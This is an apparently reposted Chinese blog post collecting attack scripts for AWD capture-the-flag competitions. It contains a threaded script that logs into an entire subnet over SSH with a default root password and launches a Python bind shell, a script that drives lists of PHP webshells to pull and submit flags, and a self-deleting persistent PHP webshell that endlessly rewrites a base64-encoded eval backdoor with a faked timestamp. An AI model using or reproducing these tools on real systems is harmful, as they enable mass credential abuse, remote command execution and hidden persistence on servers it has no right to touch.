AWD攻防工具脚本汇总(一)
2022-12-26 09:0:49 Author: LemonSec(查看原文) 阅读量:19 收藏

阅读目录(Content)

  • 情景一 默认SSH密码批量反弹shell

  • 情景二 dump源码

  • 情景三 利用shell批量getflag

  • 情景四 批量利用一句话木马种植不死马

最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本

以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~

这里从各种情景和需求中去总结工具和脚本的使用

情景一 默认SSH密码批量反弹shell

官方在给出服务器密码时,很有可能是默认的,需要赶快修改自己的密码并尝试能不能登陆别人的靶机

#-*- coding:utf-8 -*-import paramiko
ip = '192.168.1.137'port = '22'username = 'root'passwd = 'toor'# ssh 用户名 密码 登陆def ssh_base_pwd(ip,port,username,passwd,cmd='ls'): port = int(port) ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=ip, port=port, username=username, password=passwd)
stdin,stdout,stderr = ssh.exec_command(cmd)
result = stdout.read() if not result : print("无结果!") result = stderr.read() ssh.close()
return result.decode()
a = ssh_base_pwd(ip,port,username,passwd)print(a)

执行命令可以是写webshell或着直接查看flag 并返回提交

这里献上自己写的批量ssh登录并反弹python shell

#-*- coding:utf-8 -*-import paramikoimport threadingimport queueimport time#反弹shell python
q=queue.Queue()#lock = threading.Lock()
# ssh 用户名 密码 登陆def ssh_base_pwd(ip,port,username,passwd,cmd): port = int(port) ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=ip, port=port, username=username, password=passwd)
stdin,stdout,stderr = ssh.exec_command(cmd)
result = stdout.read() if not result : result = stderr.read() ssh.close()
return result.decode()
def main(x): shell = ''' #服务器端 import socket import os s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接 s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量 con,addr=s.accept() #接受一个客户端的连接 #print(con,addr)
for i in range(10): cmd=con.recv(1024) print(cmd) command=cmd.decode() if command.startswith('cd'): os.chdir(command[2:].strip()) #切换路径 result=os.getcwd() #显示路径 else: result=os.popen(command).read() if result: con.send(result.encode()) else: con.send(b'OK!') ''' cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py' port = '22' username = 'root' passwd = 'toor'
ip = '192.168.1.{}'.format(x) q.put(ip.strip(),block=True, timeout=None) ip_demo=q.get() #判断是否成功 try: #lock.acquire() res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id') if res: print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]") #lock.release() ssh_base_pwd(ip_demo,port,username,passwd,cmd) except: print("[ - ]Ip: %s" % ip_demo +" is Failed") if x > 255: print("Finshed!!!!!!!!") q.task_done()
#线程队列部分th=[]th_num=255for x in range(th_num): t=threading.Thread(target=main,args=(x,)) th.append(t)for x in range(th_num): th[x].start()for x in range(th_num): th[x].join()

#q.join()所有任务完成

情景二 dump源码

原因不说了 

scp -r -P Port remote_username@remote_ip:remote_folder local_file

情景三 利用shell批量getflag

在有批量shell后 需要连接shell 批量得到flag并提交

#!/usr/bin/python#coding=utf-8import sys,requests,base64,time
#利用一句话木马得到flag
#加载一句话地址的文件def shell_list(filepath): #格式 http://192.168.174.128/test.php?x= #返回列表 try : with open(filepath,encoding='utf-8') as f: data = f.readlines() return data except : print("File"+filepath+" Not Found!") sys.exit()
def getflag(filepath): file = './flag'+str(time.time())[-5:]+'.txt' #加载shell地址 list = shell_list(filepath) #访问 执行查看flag命令 linux就是cat cmd = "type flag.txt" getflag_cmd ="echo system(\"%s\");"%cmd for url in list: url = url.strip('\r\n') + getflag_cmd try: res = requests.get(url=url,timeout=5) except: print(url+"[ - ] request timeout [ - ]") if res.content: content = str(res.content,'utf-8') try : #把得到的flag存到flag文件再批量提交 with open(file,'a',encoding='utf-8') as f: f.writelines(content+"\n") except : print("写flag.txt文件失败!!") sys.exit() print("[+] getflag sucessed! flag文件:" +file) return file
#批量提交flagdef sentflag(filepath,url): filename = getflag(filepath)#返回存放flag的地址 #读取存放flag文件 with open(filename,'r',encoding='utf-8') as f: flags = f.readlines() for flag in flags: links = url + flag.strip('\n') try : res = requests.get(url=links,timeout=3) if res.status_code==200 : print("[ + ] Send Flag %s Success [ + ]") % flag except : print("[ - ] Send Flag Failed [ - ]") sys.exit()

#第一个参数需要一个存放shell的地址,格式 http://192.168.174.128/test.php?x= #第二个参数需要提交flag的地址 例如http://1.1.1.1/submit.php?token=xxxx&flag=xxxxxfilepath = './webshell.txt'url = 'http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx'sentflag(filepath,url)

情景四 批量利用一句话木马种植不死马

主要是用来权限维持

分享一个自己写的不死马:

<?php //[email protected] error_reporting(0); set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长 ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。 unlink(__FILE__); //删除自身
$file = '.config.php'; $code = base64_decode('PD9waHAgLy9lcnJvcl9yZXBvcnRpbmcoMCk7ICBpZihtZDUoJF9QT1NUWydwYXNzJ10pPT09JzU5Nzg5ODY1YzVhMTcyNzdmYmYxMWJjNjIzODI4OTYwJykgIEBldmFsKCRfUE9TVFsnY21kJ10pOyAgPz4='); while(true) { if(md5(file_get_contents($file))!==md5($code)) { file_put_contents($file, $code); } system('chmod 777 .config.php'); touch(".config.php",mktime(20,15,1,11,28,2016)); usleep(100); }?>

附上批量访问生成不死马脚本:

 删除config马还是会一直生成 

 顺便提下不死马的解决方式:

目前最有效的办法就是重启PHP服务器。

但在awd模式下,一般无权限,

可以通过不断复写shell.php来达到该木马难以被使用的效果。

来源:卿's Blog、原文链接:https://www.cnblogs.com/-qing-/p/11182162.html#_label0

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247539920&idx=3&sn=92e70f52b05f8f77447029a653eadd66&chksm=f9e3338bce94ba9dc6ea84e2314f9a55adbe85e50320d7ae8235575eafafb9c4ec5e370abc01#rd
如有侵权请联系:admin#unsafe.sh